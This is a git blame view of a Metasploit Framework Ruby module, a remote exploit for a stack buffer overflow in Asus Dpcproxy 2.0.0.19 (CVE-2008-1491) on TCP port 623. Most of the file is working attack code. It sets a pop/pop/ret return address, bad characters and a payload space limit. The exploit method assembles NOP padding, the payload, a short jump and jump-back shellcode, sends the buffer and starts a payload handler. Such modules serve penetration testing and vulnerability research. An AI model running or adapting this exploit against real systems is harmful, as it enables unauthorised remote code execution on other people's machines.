Files
metasploit-gs/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb
T

64 lines
1.8 KiB
Ruby
Raw Normal View History

2009-12-15 18:47:29 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-15 18:47:29 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = AverageRanking
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Asus Dpcproxy Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
It should be vulnerable until version 2.0.0.24.
Credit to Luigi Auriemma
},
'Author' => 'Jacopo Cervini',
'References' =>
[
[ 'CVE', '2008-1491' ],
[ 'OSVDB', '43638' ],
2013-08-30 16:28:54 -05:00
[ 'BID', '28394' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Asus Dpcroxy version 2.00.19 Universal', { 'Ret' => 0x0040273b } ], # p/p/r
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2008'))
2009-12-15 18:47:29 +00:00
register_options([Opt::RPORT(623)])
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
end
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
def exploit
connect
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
sploit = make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
sploit << [target.ret].pack('V') + make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
sploit << make_nops(50)
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
print_status("Trying target #{target.name}...")
sock.put(sploit)
select(nil,nil,nil,3) # =(
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
handler
disconnect
end
2009-05-13 17:39:42 +00:00
end